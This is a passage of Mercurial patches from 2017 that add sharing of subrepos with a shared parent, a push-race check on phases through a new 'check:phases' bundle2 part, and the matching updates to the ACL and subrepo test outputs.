 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
     """Called after a new shared repo is created.
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -857,21 +857,32 @@
 
     def _get(self, state):
         source, revision, kind = state
+        parentrepo = self._repo._subparent
+
         if revision in self._repo.unfiltered():
-            return True
+            # Allow shared subrepos tracked at null to setup the sharedpath
+            if len(self._repo) != 0 or not parentrepo.shared():
+                return True
         self._repo._subsource = source
         srcurl = _abssource(self._repo)
         other = hg.peer(self._repo, {}, srcurl)
         if len(self._repo) == 0:
-            self.ui.status(_('cloning subrepo %s from %s\n')
-                           % (subrelpath(self), srcurl))
-            parentrepo = self._repo._subparent
             # use self._repo.vfs instead of self.wvfs to remove .hg only
             self._repo.vfs.rmtree()
-            other, cloned = hg.clone(self._repo._subparent.baseui, {},
-                                     other, self._repo.root,
-                                     update=False)
-            self._repo = cloned.local()
+            if parentrepo.shared():
+                self.ui.status(_('sharing subrepo %s from %s\n')
+                               % (subrelpath(self), srcurl))
+                shared = hg.share(self._repo._subparent.baseui,
+                                  other, self._repo.root,
+                                  update=False, bookmarks=False)
+                self._repo = shared.local()
+            else:
+                self.ui.status(_('cloning subrepo %s from %s\n')
+                               % (subrelpath(self), srcurl))
+                other, cloned = hg.clone(self._repo._subparent.baseui, {},
+                                         other, self._repo.root,
+                                         update=False)
+                self._repo = cloned.local()
             self._initrepo(parentrepo, source, create=True)
             self._cachestorehash(srcurl)
         else:
diff --git a/tests/test-archive.t b/tests/test-archive.t
--- a/tests/test-archive.t
+++ b/tests/test-archive.t
@@ -18,6 +18,57 @@
   $ echo "subrepo = subrepo" > .hgsub
   $ hg add .hgsub
   $ hg ci -m "add subrepo"
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > share =
+  > EOF
+
+hg subrepos are shared when the parent repo is shared
+
+  $ cd ..
+  $ hg share test shared1
+  updating working directory
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  5 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat shared1/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+
+hg subrepos are shared into existence on demand if the parent was shared
+
+  $ hg clone -qr 1 test clone1
+  $ hg share clone1 share2
+  updating working directory
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg -R clone1 -q pull
+  $ hg -R share2 update tip
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat share2/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+  $ echo 'mod' > share2/subrepo/sub
+  $ hg -R share2 ci -Sqm 'subrepo mod'
+  $ hg -R clone1 update -C tip
+  cloning subrepo subrepo from $TESTTMP/test/subrepo
+  3 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ rm -rf clone1
+
+  $ hg clone -qr 1 test clone1
+  $ hg share clone1 shared3
+  updating working directory
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg -R clone1 -q pull
+  $ hg -R shared3 archive --config ui.archivemeta=False -r tip -S archive
+  sharing subrepo subrepo from $TESTTMP/test/subrepo
+  $ cat shared3/subrepo/.hg/sharedpath
+  $TESTTMP/test/subrepo/.hg (no-eol) (glob)
+  $ diff -r archive test
+  Only in test: .hg
+  Only in test/subrepo: .hg
+  [1]
+  $ rm -rf archive
+
+  $ cd test
   $ echo "[web]" >> .hg/hgrc
   $ echo "name = test-archive" >> .hg/hgrc
   $ echo "archivesubrepos = True" >> .hg/hgrc
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -1181,10 +1181,32 @@
 Check that share works with subrepo
   $ hg --config extensions.share= share . ../shared
   updating working directory
-  cloning subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
+  sharing subrepo subrepo-1 from $TESTTMP/subrepo-status/subrepo-1
+  sharing subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ test -f ../shared/subrepo-1/.hg/sharedpath
-  [1]
+  $ find ../shared/* | sort
+  ../shared/subrepo-1
+  ../shared/subrepo-1/.hg
+  ../shared/subrepo-1/.hg/cache
+  ../shared/subrepo-1/.hg/cache/storehash
+  ../shared/subrepo-1/.hg/cache/storehash/* (glob)
+  ../shared/subrepo-1/.hg/hgrc
+  ../shared/subrepo-1/.hg/requires
+  ../shared/subrepo-1/.hg/sharedpath
+  ../shared/subrepo-2
+  ../shared/subrepo-2/.hg
+  ../shared/subrepo-2/.hg/branch
+  ../shared/subrepo-2/.hg/cache
+  ../shared/subrepo-2/.hg/cache/checkisexec (execbit !)
+  ../shared/subrepo-2/.hg/cache/checklink (symlink !)
+  ../shared/subrepo-2/.hg/cache/checklink-target (symlink !)
+  ../shared/subrepo-2/.hg/cache/storehash
+  ../shared/subrepo-2/.hg/cache/storehash/* (glob)
+  ../shared/subrepo-2/.hg/dirstate
+  ../shared/subrepo-2/.hg/hgrc
+  ../shared/subrepo-2/.hg/requires
+  ../shared/subrepo-2/.hg/sharedpath
+  ../shared/subrepo-2/file
   $ hg -R ../shared in
   abort: repository default not found!
   [255]
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507745282 -7200
#      Wed Oct 11 20:08:02 2017 +0200
# Node ID e2c42f751b06d03298526306c190caa13d8602fa
# Parent  68e0bcb903572cb3641c1b1ac11bdcf47d4ff5ac
phase: filter out non-draft item in "draft root"

The on-disk file can contain draft root that are descendants of secret root.
The resulting phase computation is correct, but the phases root content is
not. I will send another series to introduce code that remove some of the
cases where this can happens, but we first need to damage control the existing
case.

After this changeset, we can no longer advertise secret changeset as draft
root.

diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -502,8 +502,10 @@
     # Use ordered dictionary so behavior is deterministic.
     keys = util.sortdict()
     value = '%i' % draft
+    cl = repo.unfiltered().changelog
     for root in repo._phasecache.phaseroots[draft]:
-        keys[hex(root)] = value
+        if repo._phasecache.phase(repo, cl.rev(root)) <= draft:
+            keys[hex(root)] = value
 
     if repo.publishing():
         # Add an extra data to let remote know we are a publishing
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1508150202 -7200
#      Mon Oct 16 12:36:42 2017 +0200
# Node ID a80142b0355242c0887ac63135ec55903dd88cda
# Parent  e2c42f751b06d03298526306c190caa13d8602fa
exchange: fix issue3781 reference in the comment

This comment is about:

  issue3781: Courtesy Phases synchronisation to publishing server prevent
             subrepo push
Not about:

  issue3871: Slow hg log when template contains {file_adds}, {file_mods} and
             {file_dels}

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -537,7 +537,7 @@
         # - and remote support phase
         # - and no changeset are to be pushed
         # - and remote is publishing
-        # We may be in issue 3871 case!
+        # We may be in issue 3781 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507739974 -7200
#      Wed Oct 11 18:39:34 2017 +0200
# Node ID 6709b5661d1b345b2a17af92bb5cb5e17507c93d
# Parent  a80142b0355242c0887ac63135ec55903dd88cda
phase: simplify the check for issue3781 shortcut in discovery

We'll rework the code around this check. Limiting the entanglement will help
with later changesets

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -531,7 +531,7 @@
     if (pushop.ui.configbool('ui', '_usedassubrepo')
         and remotephases    # server supports phases
         and not pushop.outgoing.missing # no changesets to be pushed
-        and publishing):
+        and remotephases.get('publishing', False)):
         # When:
         # - this is a subrepo push
         # - and remote support phase
@@ -541,7 +541,9 @@
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
-        remotephases = {'publishing': 'True'}
+        pushop.outdatedphases = []
+        pushop.fallbackoutdatedphases = []
+        return
     ana = phases.analyzeremotephases(pushop.repo,
                                      pushop.fallbackheads,
                                      remotephases)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507739944 -7200
#      Wed Oct 11 18:39:04 2017 +0200
# Node ID eb6375651974065739960398b0192f5ad0b53e7f
# Parent  6709b5661d1b345b2a17af92bb5cb5e17507c93d
phase: gather remote phase information in a summary object

We keep useful phase information around. The data will be reused with detecting
push-race in later changesets.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -340,6 +340,8 @@
         self.pushbranchmap = None
         # testable as a boolean indicating if any nodes are missing locally.
         self.incoming = None
+        # summary of the remote phase situation
+        self.remotephases = None
         # phases changes that must be pushed along side the changesets
         self.outdatedphases = None
         # phases changes that must be pushed if changeset push fails
@@ -527,7 +529,6 @@
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     remotephases = pushop.remote.listkeys('phases')
-    publishing = remotephases.get('publishing', False)
     if (pushop.ui.configbool('ui', '_usedassubrepo')
         and remotephases    # server supports phases
         and not pushop.outgoing.missing # no changesets to be pushed
@@ -544,12 +545,14 @@
         pushop.outdatedphases = []
         pushop.fallbackoutdatedphases = []
         return
-    ana = phases.analyzeremotephases(pushop.repo,
-                                     pushop.fallbackheads,
-                                     remotephases)
-    pheads, droots = ana
+
+    pushop.remotephases = phases.remotephasessummary(pushop.repo,
+                                                     pushop.fallbackheads,
+                                                     remotephases)
+    droots = pushop.remotephases.draftroots
+
     extracond = ''
-    if not publishing:
+    if not pushop.remotephases.publishing:
         extracond = ' and public()'
     revset = 'heads((%%ln::%%ln) %s)' % extracond
     # Get the list of all revs draft on remote by public here.
diff --git a/mercurial/phases.py b/mercurial/phases.py
--- a/mercurial/phases.py
+++ b/mercurial/phases.py
@@ -604,6 +604,27 @@
     publicheads = newheads(repo, subset, draftroots)
     return publicheads, draftroots
 
+class remotephasessummary(object):
+    """summarize phase information on the remote side
+
+    :publishing: True is the remote is publishing
+    :publicheads: list of remote public phase heads (nodes)
+    :draftheads: list of remote draft phase heads (nodes)
+    :draftroots: list of remote draft phase root (nodes)
+    """
+
+    def __init__(self, repo, remotesubset, remoteroots):
+        unfi = repo.unfiltered()
+        self._allremoteroots = remoteroots
+
+        self.publishing = remoteroots.get('publishing', False)
+
+        ana = analyzeremotephases(repo, remotesubset, remoteroots)
+        self.publicheads, self.draftroots = ana
+        # Get the list of all "heads" revs draft on remote
+        dheads = unfi.set('heads(%ln::%ln)', self.draftroots, remotesubset)
+        self.draftheads = [c.node() for c in dheads]
+
 def newheads(repo, heads, roots):
     """compute new head of a subset minus another
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507698782 -7200
#      Wed Oct 11 07:13:02 2017 +0200
# Node ID a95067b1dca6501b62072020b65809dd47471c2a
# Parent  eb6375651974065739960398b0192f5ad0b53e7f
phase: introduce a new 'check:phases' part

This part checks if revisions are still in the same phase as when the
bundle was generated. This is similar to what 'check:heads' or
'check:updated-heads' bundle2 part achieves for changesets.

We needs seems before we can move away from pushkey usage from phase since
pushkey has it own built-in push-race detection.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -157,6 +157,7 @@
 from . import (
     changegroup,
     error,
+    node as nodemod,
     obsolete,
     phases,
     pushkey,
@@ -1749,6 +1750,27 @@
             raise error.PushRaced('repository changed while pushing - '
                                   'please try again')
 
+@parthandler('check:phases')
+def handlecheckphases(op, inpart):
+    """check that phase boundaries of the repository did not change
+
+    This is used to detect a push race.
+    """
+    phasetonodes = phases.binarydecode(inpart)
+    unfi = op.repo.unfiltered()
+    cl = unfi.changelog
+    phasecache = unfi._phasecache
+    msg = ('repository changed while pushing - please try again '
+           '(%s is %s expected %s)')
+    for expectedphase, nodes in enumerate(phasetonodes):
+        for n in nodes:
+            actualphase = phasecache.phase(unfi, cl.rev(n))
+            if actualphase != expectedphase:
+                finalmsg = msg % (nodemod.short(n),
+                                  phases.phasenames[actualphase],
+                                  phases.phasenames[expectedphase])
+                raise error.PushRaced(finalmsg)
+
 @parthandler('output')
 def handleoutput(op, inpart):
     """forward output captured on the server to the client"""
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507700400 -7200
#      Wed Oct 11 07:40:00 2017 +0200
# Node ID aa5e7b4a3a01e562b2d923eb460dcdecef8220f4
# Parent  a95067b1dca6501b62072020b65809dd47471c2a
phase: generate a push-race detection part on push

We are about to switch phase pushing from using pushkey to using a the new
dedicated binary part. We introduce the push race detection on its own to help
detect potential impact.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -735,6 +735,31 @@
                 data = iter(sorted(affected))
                 bundler.newpart('check:updated-heads', data=data)
 
+def _pushing(pushop):
+    """return True if we are pushing anything"""
+    return bool(pushop.outgoing.missing
+                or pushop.outdatedphases
+                or pushop.outobsmarkers
+                or pushop.outbookmarks)
+
+@b2partsgenerator('check-phases')
+def _pushb2checkphases(pushop, bundler):
+    """insert phase move checking"""
+    if not _pushing(pushop) or pushop.force:
+        return
+    b2caps = bundle2.bundle2caps(pushop.remote)
+    hasphaseheads = 'heads' in b2caps.get('phases', ())
+    if pushop.remotephases is not None and hasphaseheads:
+        # check that the remote phase has not changed
+        checks = [[] for p in phases.allphases]
+        checks[phases.public].extend(pushop.remotephases.publicheads)
+        checks[phases.draft].extend(pushop.remotephases.draftroots)
+        if any(checks):
+            for nodes in checks:
+                nodes.sort()
+            checkdata = phases.binaryencode(checks)
+            bundler.newpart('check:phases', data=checkdata)
+
 @b2partsgenerator('changeset')
 def _pushb2ctx(pushop, bundler):
     """handle changegroup push through bundle2
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -92,14 +92,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -116,7 +119,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -154,14 +157,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -180,7 +186,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -219,14 +225,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -255,7 +264,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -294,14 +303,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -324,7 +336,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -358,14 +370,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -392,7 +407,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -427,14 +442,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -457,7 +475,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -493,14 +511,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -527,7 +548,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -564,14 +585,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -596,7 +620,7 @@
   acl: branch access granted: "f9cafe1212c8" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "fred" denied on "foo/Bar/file.txt" (changeset "f9cafe1212c8")
@@ -632,14 +656,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -662,7 +689,7 @@
   acl: branch access granted: "ef1ea85a6374" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "barney" not allowed on "foo/file.txt" (changeset "ef1ea85a6374")
@@ -702,14 +729,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -738,7 +768,7 @@
   bundle2-input-part: total payload size 1553
   bundle2-input-part: "pushkey" (params: 4 mandatory) supported
   pushing key for "phases:911600dab2ae7a9baff75958b84fe606851ce955"
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   updating the branch cache
   bundle2-output-bundle: "HG20", 2 parts total
   bundle2-output-part: "reply:changegroup" (advisory) (params: 0 advisory) empty payload
@@ -784,14 +814,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -818,7 +851,7 @@
   acl: branch access granted: "911600dab2ae" on branch "default"
   error: pretxnchangegroup.acl hook failed: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae")
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
   transaction abort!
   rollback completed
   abort: acl: user "wilma" not allowed on "quux/file.py" (changeset "911600dab2ae")
@@ -861,14 +894,17 @@
   ef1ea85a6374b77d6da9dcda9541f498f2d17df7
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
-  bundle2-output-bundle: "HG20", 4 parts total
+  bundle2-output-bundle: "HG20", 5 parts total
   bundle2-output-part: "replycaps" 168 bytes payload
+  bundle2-output-part: "check:phases" 24 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
   bundle2-input-part: total payload size 168
+  bundle2-input-part: "check:phases" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -886,7 +922,7 @@
   acl: checking access for user "barney"
   error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob)
   bundle2-input-part: total payload size 1553
-  bundle2-input-bundle: 3 parts total
+  bundle2-input-bundle: 4 parts total
